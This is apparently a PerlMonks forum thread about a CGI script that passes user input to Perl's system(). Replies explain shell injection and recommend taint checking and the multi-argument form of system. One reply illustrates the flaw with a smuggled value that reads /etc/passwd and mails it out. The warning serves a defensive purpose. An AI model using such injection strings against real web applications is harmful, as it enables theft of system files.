in reply to Failed System/Exec Call under Right Permission with CGI

system("perl prn_to_file.pl $param1 > ../results/output.txt");

So if I visit your website, and my name happens to be: "; cat /etc/passwd | mail foo@bar.com ;" - what do you think will happen?

Possibly nothing, if your webuser doesn't have sufficient privileges - but I'm sure you get the idea. Calling the single-argument form of system from within a CGI script, and using data that hasn't been taint-checked is pretty-much like putting a sign up saying "Here I am - come and own me".

I think you're going about this the wrong way. Firstly, if you're going to be accepting data from the outside world (ie. your users), enable taint checking and validate your input. merlyn has a very good article that covers this.

Secondly, why bother calling an external script in the first place? What's wrong with simply writing to the output file from within the same script?

Replies are listed 'Best First'.
Re^2: Failed System/Exec Call under Right Permission with CGI
by neversaint (Deacon) on Jul 19, 2006 at 08:31 UTC
    Dear McDarren,
    You are right about the "taint" checking. But this is just a simplified example of the larger application I have. I am simply localizing the problem.
    Secondly, why bother calling an external script in the first place? What's wrong with simply writing to the output file from within the same script?
    As I mentioned inside the snippet. I have several perl scripts that interacts with each other (e.g. taking output as arg of another script). Putting them together would clutter the code and make it hard to maintain.

    ---
    neversaint and everlastingly indebted.......
      Right. Well you need to decide whether you want system or exec. Although they are used in similar ways, their behaviour is very different. exec will terminate the current program, execute the external command - and never return. If that's not what you want, then use system.

      Next thing is to use the multi-arg form of system. This bypasses shell processing and hence protects against the scenario I alluded to above. So you'll want something like this:

      my @args = ('/path/to/prn_to_file.pl', $param1, '/path/to/results/outp +ut.txt'); system(@args) == 0 or die "Blah blah...:$!\n";

      Three things to note:

      1. system will use the first argument in the list as the external command to be executed, and the remaining arguments will be passed to that command. So obviously in the above example, prn_to_file.pl needs to expect two arguments and know what to do with them.
      2. system will return the exit status of the external command (not its output) - so the "or die" may have to be adjusted accordingly.
      3. You should supply the full pathnames to any external commands or scripts. (This is probably why your initial attempts were failing, but I've deliberately left this point till last).

      Cheers,
      Darren :)

      Update: - fixed code example (thanks Corion).

        McDarren,
        Following your advice, I have this snippet.
        my @args = ('perl', '/home/myname/public_html/somedir/cgi-bin/prn_to_file.pl',$param1, ,'>','/home/myname/public_html/somedir/results/output.txt'); system(@args) == 0 or die "Code does not work $!";
        While it does prints/shows this text in the browser (which is not what I really want):
        THIS IS YOUR INPUT TEXT: foo bar
        But still, no file is created. Did I still miss anything?

        Regards,
        Edward
      I have several perl scripts that interacts with each other
      There might be no need for system or exec, then. See do FILE and require. You can handle all perl code in one single interpreter instance.

      --shmem

      _($_=" "x(1<<5)."?\n".q·/)Oo.  G°\        /
                                    /\_¯/(q    /
      ----------------------------  \__(m.====·.(_("always off the crowd"))."·
      ");sub _{s./.($e="'Itrs `mnsgdq Gdbj O`qkdq")=~y/"-y/#-z/;$e.e && print}